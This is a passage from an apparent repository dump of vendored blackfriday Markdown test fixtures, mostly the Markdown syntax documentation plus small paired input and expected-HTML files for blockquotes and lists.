this:</p>\n\n<pre><code>&lt;address@example.com&gt;\n</code></pre>\n\n<p>into something like this:</p>\n\n<pre><code>&lt;a href=&quot;&amp;#x6D;&amp;#x61;i&amp;#x6C;&amp;#x74;&amp;#x6F;:&amp;#x61;&amp;#x64;&amp;#x64;&amp;#x72;&amp;#x65;\n&amp;#115;&amp;#115;&amp;#64;&amp;#101;&amp;#120;&amp;#x61;&amp;#109;&amp;#x70;&amp;#x6C;e&amp;#x2E;&amp;#99;&amp;#111;\n&amp;#109;&quot;&gt;&amp;#x61;&amp;#x64;&amp;#x64;&amp;#x72;&amp;#x65;&amp;#115;&amp;#115;&amp;#64;&amp;#101;&amp;#120;&amp;#x61;\n&amp;#109;&amp;#x70;&amp;#x6C;e&amp;#x2E;&amp;#99;&amp;#111;&amp;#109;&lt;/a&gt;\n</code></pre>\n\n<p>which will render in a browser as a clickable link to &quot;address@example.com&quot;.</p>\n\n<p>(This sort of entity-encoding trick will indeed fool many, if not\nmost, address-harvesting bots, but it definitely won't fool all of\nthem. It's better than nothing, but an address published in this way\nwill probably eventually start receiving spam.)</p>\n\n<h3 id=\"backslash\">Backslash Escapes</h3>\n\n<p>Markdown allows you to use backslash escapes to generate literal\ncharacters which would otherwise have special meaning in Markdown's\nformatting syntax. For example, if you wanted to surround a word with\nliteral asterisks (instead of an HTML <code>&lt;em&gt;</code> tag), you can backslashes\nbefore the asterisks, like this:</p>\n\n<pre><code>\\*literal asterisks\\*\n</code></pre>\n\n<p>Markdown provides backslash escapes for the following characters:</p>\n\n<pre><code>\\   backslash\n`   backtick\n*   asterisk\n_   underscore\n{}  curly braces\n[]  square brackets\n()  parentheses\n#   hash mark\n+   plus sign\n-   minus sign (hyphen)\n.   dot\n!   exclamation mark\n</code></pre>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Syntax.text",
    "content": "Markdown: Syntax\n================\n\n<ul id=\"ProjectSubmenu\">\n    <li><a href=\"/projects/markdown/\" title=\"Markdown Project Page\">Main</a></li>\n    <li><a href=\"/projects/markdown/basics\" title=\"Markdown Basics\">Basics</a></li>\n    <li><a class=\"selected\" title=\"Markdown Syntax Documentation\">Syntax</a></li>\n    <li><a href=\"/projects/markdown/license\" title=\"Pricing and License Information\">License</a></li>\n    <li><a href=\"/projects/markdown/dingus\" title=\"Online Markdown Web Form\">Dingus</a></li>\n</ul>\n\n\n*   [Overview](#overview)\n    *   [Philosophy](#philosophy)\n    *   [Inline HTML](#html)\n    *   [Automatic Escaping for Special Characters](#autoescape)\n*   [Block Elements](#block)\n    *   [Paragraphs and Line Breaks](#p)\n    *   [Headers](#header)\n    *   [Blockquotes](#blockquote)\n    *   [Lists](#list)\n    *   [Code Blocks](#precode)\n    *   [Horizontal Rules](#hr)\n*   [Span Elements](#span)\n    *   [Links](#link)\n    *   [Emphasis](#em)\n    *   [Code](#code)\n    *   [Images](#img)\n*   [Miscellaneous](#misc)\n    *   [Backslash Escapes](#backslash)\n    *   [Automatic Links](#autolink)\n\n\n**Note:** This document is itself written using Markdown; you\ncan [see the source for it by adding '.text' to the URL][src].\n\n  [src]: /projects/markdown/syntax.text\n\n* * *\n\n<h2 id=\"overview\">Overview</h2>\n\n<h3 id=\"philosophy\">Philosophy</h3>\n\nMarkdown is intended to be as easy-to-read and easy-to-write as is feasible.\n\nReadability, however, is emphasized above all else. A Markdown-formatted\ndocument should be publishable as-is, as plain text, without looking\nlike it's been marked up with tags or formatting instructions. While\nMarkdown's syntax has been influenced by several existing text-to-HTML\nfilters -- including [Setext] [1], [atx] [2], [Textile] [3], [reStructuredText] [4],\n[Grutatext] [5], and [EtText] [6] -- the single biggest source of\ninspiration for Markdown's syntax is the format of plain text email.\n\n  [1]: http://docutils.sourceforge.net/mirror/setext.html\n  [2]: http://www.aaronsw.com/2002/atx/\n  [3]: http://textism.com/tools/textile/\n  [4]: http://docutils.sourceforge.net/rst.html\n  [5]: http://www.triptico.com/software/grutatxt.html\n  [6]: http://ettext.taint.org/doc/\n\nTo this end, Markdown's syntax is comprised entirely of punctuation\ncharacters, which punctuation characters have been carefully chosen so\nas to look like what they mean. E.g., asterisks around a word actually\nlook like \\*emphasis\\*. Markdown lists look like, well, lists. Even\nblockquotes look like quoted passages of text, assuming you've ever\nused email.\n\n\n\n<h3 id=\"html\">Inline HTML</h3>\n\nMarkdown's syntax is intended for one purpose: to be used as a\nformat for *writing* for the web.\n\nMarkdown is not a replacement for HTML, or even close to it. Its\nsyntax is very small, corresponding only to a very small subset of\nHTML tags. The idea is *not* to create a syntax that makes it easier\nto insert HTML tags. In my opinion, HTML tags are already easy to\ninsert. The idea for Markdown is to make it easy to read, write, and\nedit prose. HTML is a *publishing* format; Markdown is a *writing*\nformat. Thus, Markdown's formatting syntax only addresses issues that\ncan be conveyed in plain text.\n\nFor any markup that is not covered by Markdown's syntax, you simply\nuse HTML itself. There's no need to preface it or delimit it to\nindicate that you're switching from Markdown to HTML; you just use\nthe tags.\n\nThe only restrictions are that block-level HTML elements -- e.g. `<div>`,\n`<table>`, `<pre>`, `<p>`, etc. -- must be separated from surrounding\ncontent by blank lines, and the start and end tags of the block should\nnot be indented with tabs or spaces. Markdown is smart enough not\nto add extra (unwanted) `<p>` tags around HTML block-level tags.\n\nFor example, to add an HTML table to a Markdown article:\n\n    This is a regular paragraph.\n\n    <table>\n        <tr>\n            <td>Foo</td>\n        </tr>\n    </table>\n\n    This is another regular paragraph.\n\nNote that Markdown formatting syntax is not processed within block-level\nHTML tags. E.g., you can't use Markdown-style `*emphasis*` inside an\nHTML block.\n\nSpan-level HTML tags -- e.g. `<span>`, `<cite>`, or `<del>` -- can be\nused anywhere in a Markdown paragraph, list item, or header. If you\nwant, you can even use HTML tags instead of Markdown formatting; e.g. if\nyou'd prefer to use HTML `<a>` or `<img>` tags instead of Markdown's\nlink or image syntax, go right ahead.\n\nUnlike block-level HTML tags, Markdown syntax *is* processed within\nspan-level tags.\n\n\n<h3 id=\"autoescape\">Automatic Escaping for Special Characters</h3>\n\nIn HTML, there are two characters that demand special treatment: `<`\nand `&`. Left angle brackets are used to start tags; ampersands are\nused to denote HTML entities. If you want to use them as literal\ncharacters, you must escape them as entities, e.g. `&lt;`, and\n`&amp;`.\n\nAmpersands in particular are bedeviling for web writers. If you want to\nwrite about 'AT&T', you need to write '`AT&amp;T`'. You even need to\nescape ampersands within URLs. Thus, if you want to link to:\n\n    http://images.google.com/images?num=30&q=larry+bird\n\nyou need to encode the URL as:\n\n    http://images.google.com/images?num=30&amp;q=larry+bird\n\nin your anchor tag `href` attribute. Needless to say, this is easy to\nforget, and is probably the single most common source of HTML validation\nerrors in otherwise well-marked-up web sites.\n\nMarkdown allows you to use these characters naturally, taking care of\nall the necessary escaping for you. If you use an ampersand as part of\nan HTML entity, it remains unchanged; otherwise it will be translated\ninto `&amp;`.\n\nSo, if you want to include a copyright symbol in your article, you can write:\n\n    &copy;\n\nand Markdown will leave it alone. But if you write:\n\n    AT&T\n\nMarkdown will translate it to:\n\n    AT&amp;T\n\nSimilarly, because Markdown supports [inline HTML](#html), if you use\nangle brackets as delimiters for HTML tags, Markdown will treat them as\nsuch. But if you write:\n\n    4 < 5\n\nMarkdown will translate it to:\n\n    4 &lt; 5\n\nHowever, inside Markdown code spans and blocks, angle brackets and\nampersands are *always* encoded automatically. This makes it easy to use\nMarkdown to write about HTML code. (As opposed to raw HTML, which is a\nterrible format for writing about HTML syntax, because every single `<`\nand `&` in your example code needs to be escaped.)\n\n\n* * *\n\n\n<h2 id=\"block\">Block Elements</h2>\n\n\n<h3 id=\"p\">Paragraphs and Line Breaks</h3>\n\nA paragraph is simply one or more consecutive lines of text, separated\nby one or more blank lines. (A blank line is any line that looks like a\nblank line -- a line containing nothing but spaces or tabs is considered\nblank.) Normal paragraphs should not be intended with spaces or tabs.\n\nThe implication of the \"one or more consecutive lines of text\" rule is\nthat Markdown supports \"hard-wrapped\" text paragraphs. This differs\nsignificantly from most other text-to-HTML formatters (including Movable\nType's \"Convert Line Breaks\" option) which translate every line break\ncharacter in a paragraph into a `<br />` tag.\n\nWhen you *do* want to insert a `<br />` break tag using Markdown, you\nend a line with two or more spaces, then type return.\n\nYes, this takes a tad more effort to create a `<br />`, but a simplistic\n\"every line break is a `<br />`\" rule wouldn't work for Markdown.\nMarkdown's email-style [blockquoting][bq] and multi-paragraph [list items][l]\nwork best -- and look better -- when you format them with hard breaks.\n\n  [bq]: #blockquote\n  [l]:  #list\n\n\n\n<h3 id=\"header\">Headers</h3>\n\nMarkdown supports two styles of headers, [Setext] [1] and [atx] [2].\n\nSetext-style headers are \"underlined\" using equal signs (for first-level\nheaders) and dashes (for second-level headers). For example:\n\n    This is an H1\n    =============\n\n    This is an H2\n    -------------\n\nAny number of underlining `=`'s or `-`'s will work.\n\nAtx-style headers use 1-6 hash characters at the start of the line,\ncorresponding to header levels 1-6. For example:\n\n    # This is an H1\n\n    ## This is an H2\n\n    ###### This is an H6\n\nOptionally, you may \"close\" atx-style headers. This is purely\ncosmetic -- you can use this if you think it looks better. The\nclosing hashes don't even need to match the number of hashes\nused to open the header. (The number of opening hashes\ndetermines the header level.) :\n\n    # This is an H1 #\n\n    ## This is an H2 ##\n\n    ### This is an H3 ######\n\n\n<h3 id=\"blockquote\">Blockquotes</h3>\n\nMarkdown uses email-style `>` characters for blockquoting. If you're\nfamiliar with quoting passages of text in an email message, then you\nknow how to create a blockquote in Markdown. It looks best if you hard\nwrap the text and put a `>` before every line:\n\n    > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,\n    > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.\n    > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.\n    > \n    > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse\n    > id sem consectetuer libero luctus adipiscing.\n\nMarkdown allows you to be lazy and only put the `>` before the first\nline of a hard-wrapped paragraph:\n\n    > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,\n    consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.\n    Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.\n\n    > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse\n    id sem consectetuer libero luctus adipiscing.\n\nBlockquotes can be nested (i.e. a blockquote-in-a-blockquote) by\nadding additional levels of `>`:\n\n    > This is the first level of quoting.\n    >\n    > > This is nested blockquote.\n    >\n    > Back to the first level.\n\nBlockquotes can contain other Markdown elements, including headers, lists,\nand code blocks:\n\n\t> ## This is a header.\n\t> \n\t> 1.   This is the first list item.\n\t> 2.   This is the second list item.\n\t> \n\t> Here's some example code:\n\t> \n\t>     return shell_exec(\"echo $input | $markdown_script\");\n\nAny decent text editor should make email-style quoting easy. For\nexample, with BBEdit, you can make a selection and choose Increase\nQuote Level from the Text menu.\n\n\n<h3 id=\"list\">Lists</h3>\n\nMarkdown supports ordered (numbered) and unordered (bulleted) lists.\n\nUnordered lists use asterisks, pluses, and hyphens -- interchangably\n-- as list markers:\n\n    *   Red\n    *   Green\n    *   Blue\n\nis equivalent to:\n\n    +   Red\n    +   Green\n    +   Blue\n\nand:\n\n    -   Red\n    -   Green\n    -   Blue\n\nOrdered lists use numbers followed by periods:\n\n    1.  Bird\n    2.  McHale\n    3.  Parish\n\nIt's important to note that the actual numbers you use to mark the\nlist have no effect on the HTML output Markdown produces. The HTML\nMarkdown produces from the above list is:\n\n    <ol>\n    <li>Bird</li>\n    <li>McHale</li>\n    <li>Parish</li>\n    </ol>\n\nIf you instead wrote the list in Markdown like this:\n\n    1.  Bird\n    1.  McHale\n    1.  Parish\n\nor even:\n\n    3. Bird\n    1. McHale\n    8. Parish\n\nyou'd get the exact same HTML output. The point is, if you want to,\nyou can use ordinal numbers in your ordered Markdown lists, so that\nthe numbers in your source match the numbers in your published HTML.\nBut if you want to be lazy, you don't have to.\n\nIf you do use lazy list numbering, however, you should still start the\nlist with the number 1. At some point in the future, Markdown may support\nstarting ordered lists at an arbitrary number.\n\nList markers typically start at the left margin, but may be indented by\nup to three spaces. List markers must be followed by one or more spaces\nor a tab.\n\nTo make lists look nice, you can wrap items with hanging indents:\n\n    *   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.\n        Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,\n        viverra nec, fringilla in, laoreet vitae, risus.\n    *   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.\n        Suspendisse id sem consectetuer libero luctus adipiscing.\n\nBut if you want to be lazy, you don't have to:\n\n    *   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.\n    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,\n    viverra nec, fringilla in, laoreet vitae, risus.\n    *   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.\n    Suspendisse id sem consectetuer libero luctus adipiscing.\n\nIf list items are separated by blank lines, Markdown will wrap the\nitems in `<p>` tags in the HTML output. For example, this input:\n\n    *   Bird\n    *   Magic\n\nwill turn into:\n\n    <ul>\n    <li>Bird</li>\n    <li>Magic</li>\n    </ul>\n\nBut this:\n\n    *   Bird\n\n    *   Magic\n\nwill turn into:\n\n    <ul>\n    <li><p>Bird</p></li>\n    <li><p>Magic</p></li>\n    </ul>\n\nList items may consist of multiple paragraphs. Each subsequent\nparagraph in a list item must be intended by either 4 spaces\nor one tab:\n\n    1.  This is a list item with two paragraphs. Lorem ipsum dolor\n        sit amet, consectetuer adipiscing elit. Aliquam hendrerit\n        mi posuere lectus.\n\n        Vestibulum enim wisi, viverra nec, fringilla in, laoreet\n        vitae, risus. Donec sit amet nisl. Aliquam semper ipsum\n        sit amet velit.\n\n    2.  Suspendisse id sem consectetuer libero luctus adipiscing.\n\nIt looks nice if you indent every line of the subsequent\nparagraphs, but here again, Markdown will allow you to be\nlazy:\n\n    *   This is a list item with two paragraphs.\n\n        This is the second paragraph in the list item. You're\n    only required to indent the first line. Lorem ipsum dolor\n    sit amet, consectetuer adipiscing elit.\n\n    *   Another item in the same list.\n\nTo put a blockquote within a list item, the blockquote's `>`\ndelimiters need to be indented:\n\n    *   A list item with a blockquote:\n\n        > This is a blockquote\n        > inside a list item.\n\nTo put a code block within a list item, the code block needs\nto be indented *twice* -- 8 spaces or two tabs:\n\n    *   A list item with a code block:\n\n            <code goes here>\n\n\nIt's worth noting that it's possible to trigger an ordered list by\naccident, by writing something like this:\n\n    1986. What a great season.\n\nIn other words, a *number-period-space* sequence at the beginning of a\nline. To avoid this, you can backslash-escape the period:\n\n    1986\\. What a great season.\n\n\n\n<h3 id=\"precode\">Code Blocks</h3>\n\nPre-formatted code blocks are used for writing about programming or\nmarkup source code. Rather than forming normal paragraphs, the lines\nof a code block are interpreted literally. Markdown wraps a code block\nin both `<pre>` and `<code>` tags.\n\nTo produce a code block in Markdown, simply indent every line of the\nblock by at least 4 spaces or 1 tab. For example, given this input:\n\n    This is a normal paragraph:\n\n        This is a code block.\n\nMarkdown will generate:\n\n    <p>This is a normal paragraph:</p>\n\n    <pre><code>This is a code block.\n    </code></pre>\n\nOne level of indentation -- 4 spaces or 1 tab -- is removed from each\nline of the code block. For example, this:\n\n    Here is an example of AppleScript:\n\n        tell application \"Foo\"\n            beep\n        end tell\n\nwill turn into:\n\n    <p>Here is an example of AppleScript:</p>\n\n    <pre><code>tell application \"Foo\"\n        beep\n    end tell\n    </code></pre>\n\nA code block continues until it reaches a line that is not indented\n(or the end of the article).\n\nWithin a code block, ampersands (`&`) and angle brackets (`<` and `>`)\nare automatically converted into HTML entities. This makes it very\neasy to include example HTML source code using Markdown -- just paste\nit and indent it, and Markdown will handle the hassle of encoding the\nampersands and angle brackets. For example, this:\n\n        <div class=\"footer\">\n            &copy; 2004 Foo Corporation\n        </div>\n\nwill turn into:\n\n    <pre><code>&lt;div class=\"footer\"&gt;\n        &amp;copy; 2004 Foo Corporation\n    &lt;/div&gt;\n    </code></pre>\n\nRegular Markdown syntax is not processed within code blocks. E.g.,\nasterisks are just literal asterisks within a code block. This means\nit's also easy to use Markdown to write about Markdown's own syntax.\n\n\n\n<h3 id=\"hr\">Horizontal Rules</h3>\n\nYou can produce a horizontal rule tag (`<hr />`) by placing three or\nmore hyphens, asterisks, or underscores on a line by themselves. If you\nwish, you may use spaces between the hyphens or asterisks. Each of the\nfollowing lines will produce a horizontal rule:\n\n    * * *\n\n    ***\n\n    *****\n\t\n    - - -\n\n    ---------------------------------------\n\n\t_ _ _\n\n\n* * *\n\n<h2 id=\"span\">Span Elements</h2>\n\n<h3 id=\"link\">Links</h3>\n\nMarkdown supports two style of links: *inline* and *reference*.\n\nIn both styles, the link text is delimited by [square brackets].\n\nTo create an inline link, use a set of regular parentheses immediately\nafter the link text's closing square bracket. Inside the parentheses,\nput the URL where you want the link to point, along with an *optional*\ntitle for the link, surrounded in quotes. For example:\n\n    This is [an example](http://example.com/ \"Title\") inline link.\n\n    [This link](http://example.net/) has no title attribute.\n\nWill produce:\n\n    <p>This is <a href=\"http://example.com/\" title=\"Title\">\n    an example</a> inline link.</p>\n\n    <p><a href=\"http://example.net/\">This link</a> has no\n    title attribute.</p>\n\nIf you're referring to a local resource on the same server, you can\nuse relative paths:\n\n    See my [About](/about/) page for details.\n\nReference-style links use a second set of square brackets, inside\nwhich you place a label of your choosing to identify the link:\n\n    This is [an example][id] reference-style link.\n\nYou can optionally use a space to separate the sets of brackets:\n\n    This is [an example] [id] reference-style link.\n\nThen, anywhere in the document, you define your link label like this,\non a line by itself:\n\n    [id]: http://example.com/  \"Optional Title Here\"\n\nThat is:\n\n*   Square brackets containing the link identifier (optionally\n    indented from the left margin using up to three spaces);\n*   followed by a colon;\n*   followed by one or more spaces (or tabs);\n*   followed by the URL for the link;\n*   optionally followed by a title attribute for the link, enclosed\n    in double or single quotes.\n\nThe link URL may, optionally, be surrounded by angle brackets:\n\n    [id]: <http://example.com/>  \"Optional Title Here\"\n\nYou can put the title attribute on the next line and use extra spaces\nor tabs for padding, which tends to look better with longer URLs:\n\n    [id]: http://example.com/longish/path/to/resource/here\n        \"Optional Title Here\"\n\nLink definitions are only used for creating links during Markdown\nprocessing, and are stripped from your document in the HTML output.\n\nLink definition names may constist of letters, numbers, spaces, and punctuation -- but they are *not* case sensitive. E.g. these two links:\n\n\t[link text][a]\n\t[link text][A]\n\nare equivalent.\n\nThe *implicit link name* shortcut allows you to omit the name of the\nlink, in which case the link text itself is used as the name.\nJust use an empty set of square brackets -- e.g., to link the word\n\"Google\" to the google.com web site, you could simply write:\n\n\t[Google][]\n\nAnd then define the link:\n\n\t[Google]: http://google.com/\n\nBecause link names may contain spaces, this shortcut even works for\nmultiple words in the link text:\n\n\tVisit [Daring Fireball][] for more information.\n\nAnd then define the link:\n\t\n\t[Daring Fireball]: http://daringfireball.net/\n\nLink definitions can be placed anywhere in your Markdown document. I\ntend to put them immediately after each paragraph in which they're\nused, but if you want, you can put them all at the end of your\ndocument, sort of like footnotes.\n\nHere's an example of reference links in action:\n\n    I get 10 times more traffic from [Google] [1] than from\n    [Yahoo] [2] or [MSN] [3].\n\n      [1]: http://google.com/        \"Google\"\n      [2]: http://search.yahoo.com/  \"Yahoo Search\"\n      [3]: http://search.msn.com/    \"MSN Search\"\n\nUsing the implicit link name shortcut, you could instead write:\n\n    I get 10 times more traffic from [Google][] than from\n    [Yahoo][] or [MSN][].\n\n      [google]: http://google.com/        \"Google\"\n      [yahoo]:  http://search.yahoo.com/  \"Yahoo Search\"\n      [msn]:    http://search.msn.com/    \"MSN Search\"\n\nBoth of the above examples will produce the following HTML output:\n\n    <p>I get 10 times more traffic from <a href=\"http://google.com/\"\n    title=\"Google\">Google</a> than from\n    <a href=\"http://search.yahoo.com/\" title=\"Yahoo Search\">Yahoo</a>\n    or <a href=\"http://search.msn.com/\" title=\"MSN Search\">MSN</a>.</p>\n\nFor comparison, here is the same paragraph written using\nMarkdown's inline link style:\n\n    I get 10 times more traffic from [Google](http://google.com/ \"Google\")\n    than from [Yahoo](http://search.yahoo.com/ \"Yahoo Search\") or\n    [MSN](http://search.msn.com/ \"MSN Search\").\n\nThe point of reference-style links is not that they're easier to\nwrite. The point is that with reference-style links, your document\nsource is vastly more readable. Compare the above examples: using\nreference-style links, the paragraph itself is only 81 characters\nlong; with inline-style links, it's 176 characters; and as raw HTML,\nit's 234 characters. In the raw HTML, there's more markup than there\nis text.\n\nWith Markdown's reference-style links, a source document much more\nclosely resembles the final output, as rendered in a browser. By\nallowing you to move the markup-related metadata out of the paragraph,\nyou can add links without interrupting the narrative flow of your\nprose.\n\n\n<h3 id=\"em\">Emphasis</h3>\n\nMarkdown treats asterisks (`*`) and underscores (`_`) as indicators of\nemphasis. Text wrapped with one `*` or `_` will be wrapped with an\nHTML `<em>` tag; double `*`'s or `_`'s will be wrapped with an HTML\n`<strong>` tag. E.g., this input:\n\n    *single asterisks*\n\n    _single underscores_\n\n    **double asterisks**\n\n    __double underscores__\n\nwill produce:\n\n    <em>single asterisks</em>\n\n    <em>single underscores</em>\n\n    <strong>double asterisks</strong>\n\n    <strong>double underscores</strong>\n\nYou can use whichever style you prefer; the lone restriction is that\nthe same character must be used to open and close an emphasis span.\n\nEmphasis can be used in the middle of a word:\n\n    un*fucking*believable\n\nBut if you surround an `*` or `_` with spaces, it'll be treated as a\nliteral asterisk or underscore.\n\nTo produce a literal asterisk or underscore at a position where it\nwould otherwise be used as an emphasis delimiter, you can backslash\nescape it:\n\n    \\*this text is surrounded by literal asterisks\\*\n\n\n\n<h3 id=\"code\">Code</h3>\n\nTo indicate a span of code, wrap it with backtick quotes (`` ` ``).\nUnlike a pre-formatted code block, a code span indicates code within a\nnormal paragraph. For example:\n\n    Use the `printf()` function.\n\nwill produce:\n\n    <p>Use the <code>printf()</code> function.</p>\n\nTo include a literal backtick character within a code span, you can use\nmultiple backticks as the opening and closing delimiters:\n\n    ``There is a literal backtick (`) here.``\n\nwhich will produce this:\n\n    <p><code>There is a literal backtick (`) here.</code></p>\n\nThe backtick delimiters surrounding a code span may include spaces --\none after the opening, one before the closing. This allows you to place\nliteral backtick characters at the beginning or end of a code span:\n\n\tA single backtick in a code span: `` ` ``\n\t\n\tA backtick-delimited string in a code span: `` `foo` ``\n\nwill produce:\n\n\t<p>A single backtick in a code span: <code>`</code></p>\n\t\n\t<p>A backtick-delimited string in a code span: <code>`foo`</code></p>\n\nWith a code span, ampersands and angle brackets are encoded as HTML\nentities automatically, which makes it easy to include example HTML\ntags. Markdown will turn this:\n\n    Please don't use any `<blink>` tags.\n\ninto:\n\n    <p>Please don't use any <code>&lt;blink&gt;</code> tags.</p>\n\nYou can write this:\n\n    `&#8212;` is the decimal-encoded equivalent of `&mdash;`.\n\nto produce:\n\n    <p><code>&amp;#8212;</code> is the decimal-encoded\n    equivalent of <code>&amp;mdash;</code>.</p>\n\n\n\n<h3 id=\"img\">Images</h3>\n\nAdmittedly, it's fairly difficult to devise a \"natural\" syntax for\nplacing images into a plain text document format.\n\nMarkdown uses an image syntax that is intended to resemble the syntax\nfor links, allowing for two styles: *inline* and *reference*.\n\nInline image syntax looks like this:\n\n    ![Alt text](/path/to/img.jpg)\n\n    ![Alt text](/path/to/img.jpg \"Optional title\")\n\nThat is:\n\n*   An exclamation mark: `!`;\n*   followed by a set of square brackets, containing the `alt`\n    attribute text for the image;\n*   followed by a set of parentheses, containing the URL or path to\n    the image, and an optional `title` attribute enclosed in double\n    or single quotes.\n\nReference-style image syntax looks like this:\n\n    ![Alt text][id]\n\nWhere \"id\" is the name of a defined image reference. Image references\nare defined using syntax identical to link references:\n\n    [id]: url/to/image  \"Optional title attribute\"\n\nAs of this writing, Markdown has no syntax for specifying the\ndimensions of an image; if this is important to you, you can simply\nuse regular HTML `<img>` tags.\n\n\n* * *\n\n\n<h2 id=\"misc\">Miscellaneous</h2>\n\n<h3 id=\"autolink\">Automatic Links</h3>\n\nMarkdown supports a shortcut style for creating \"automatic\" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this:\n\n    <http://example.com/>\n    \nMarkdown will turn this into:\n\n    <a href=\"http://example.com/\">http://example.com/</a>\n\nAutomatic links for email addresses work similarly, except that\nMarkdown will also perform a bit of randomized decimal and hex\nentity-encoding to help obscure your address from address-harvesting\nspambots. For example, Markdown will turn this:\n\n    <address@example.com>\n\ninto something like this:\n\n    <a href=\"&#x6D;&#x61;i&#x6C;&#x74;&#x6F;:&#x61;&#x64;&#x64;&#x72;&#x65;\n    &#115;&#115;&#64;&#101;&#120;&#x61;&#109;&#x70;&#x6C;e&#x2E;&#99;&#111;\n    &#109;\">&#x61;&#x64;&#x64;&#x72;&#x65;&#115;&#115;&#64;&#101;&#120;&#x61;\n    &#109;&#x70;&#x6C;e&#x2E;&#99;&#111;&#109;</a>\n\nwhich will render in a browser as a clickable link to \"address@example.com\".\n\n(This sort of entity-encoding trick will indeed fool many, if not\nmost, address-harvesting bots, but it definitely won't fool all of\nthem. It's better than nothing, but an address published in this way\nwill probably eventually start receiving spam.)\n\n\n\n<h3 id=\"backslash\">Backslash Escapes</h3>\n\nMarkdown allows you to use backslash escapes to generate literal\ncharacters which would otherwise have special meaning in Markdown's\nformatting syntax. For example, if you wanted to surround a word with\nliteral asterisks (instead of an HTML `<em>` tag), you can backslashes\nbefore the asterisks, like this:\n\n    \\*literal asterisks\\*\n\nMarkdown provides backslash escapes for the following characters:\n\n    \\   backslash\n    `   backtick\n    *   asterisk\n    _   underscore\n    {}  curly braces\n    []  square brackets\n    ()  parentheses\n    #   hash mark\n\t+\tplus sign\n\t-\tminus sign (hyphen)\n    .   dot\n    !   exclamation mark\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Nested blockquotes.html",
    "content": "<blockquote>\n<p>foo</p>\n\n<blockquote>\n<p>bar</p>\n</blockquote>\n\n<p>foo</p>\n</blockquote>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Nested blockquotes.text",
    "content": "> foo\n>\n> > bar\n>\n> foo\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Ordered and unordered lists.html",
    "content": "<h2>Unordered</h2>\n\n<p>Asterisks tight:</p>\n\n<ul>\n<li>asterisk 1</li>\n<li>asterisk 2</li>\n<li>asterisk 3</li>\n</ul>\n\n<p>Asterisks loose:</p>\n\n<ul>\n<li><p>asterisk 1</p></li>\n\n<li><p>asterisk 2</p></li>\n\n<li><p>asterisk 3</p></li>\n</ul>\n\n<hr>\n\n<p>Pluses tight:</p>\n\n<ul>\n<li>Plus 1</li>\n<li>Plus 2</li>\n<li>Plus 3</li>\n</ul>\n\n<p>Pluses loose:</p>\n\n<ul>\n<li><p>Plus 1</p></li>\n\n<li><p>Plus 2</p></li>\n\n<li><p>Plus 3</p></li>\n</ul>\n\n<hr>\n\n<p>Minuses tight:</p>\n\n<ul>\n<li>Minus 1</li>\n<li>Minus 2</li>\n<li>Minus 3</li>\n</ul>\n\n<p>Minuses loose:</p>\n\n<ul>\n<li><p>Minus 1</p></li>\n\n<li><p>Minus 2</p></li>\n\n<li><p>Minus 3</p></li>\n</ul>\n\n<h2>Ordered</h2>\n\n<p>Tight:</p>\n\n<ol>\n<li>First</li>\n<li>Second</li>\n<li>Third</li>\n</ol>\n\n<p>and:</p>\n\n<ol>\n<li>One</li>\n<li>Two</li>\n<li>Three</li>\n</ol>\n\n<p>Loose using tabs:</p>\n\n<ol>\n<li><p>First</p></li>\n\n<li><p>Second</p></li>\n\n<li><p>Third</p></li>\n</ol>\n\n<p>and using spaces:</p>\n\n<ol>\n<li><p>One</p></li>\n\n<li><p>Two</p></li>\n\n<li><p>Three</p></li>\n</ol>\n\n<p>Multiple paragraphs:</p>\n\n<ol>\n<li><p>Item 1, graf one.</p>\n\n<p>Item 2. graf two. The quick brown fox jumped over the lazy dog's\nback.</p></li>\n\n<li><p>Item 2.</p></li>\n\n<li><p>Item 3.</p></li>\n</ol>\n\n<h2>Nested</h2>\n\n<ul>\n<li>Tab\n\n<ul>\n<li>Tab\n\n<ul>\n<li>Tab</li>\n</ul></li>\n</ul></li>\n</ul>\n\n<p>Here's another:</p>\n\n<ol>\n<li>First</li>\n<li>Second:\n\n<ul>\n<li>Fee</li>\n<li>Fie</li>\n<li>Foe</li>\n</ul></li>\n<li>Third</li>\n</ol>\n\n<p>Same thing but with paragraphs:</p>\n\n<ol>\n<li><p>First</p></li>\n\n<li><p>Second:</p>\n\n<ul>\n<li>Fee</li>\n<li>Fie</li>\n<li>Foe</li>\n</ul></li>\n\n<li><p>Third</p></li>\n</ol>\n\n<p>This was an error in Markdown 1.0.1:</p>\n\n<ul>\n<li><p>this</p>\n\n<ul>\n<li>sub</li>\n</ul>\n\n<p>that</p></li>\n</ul>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Ordered and unordered lists.text",
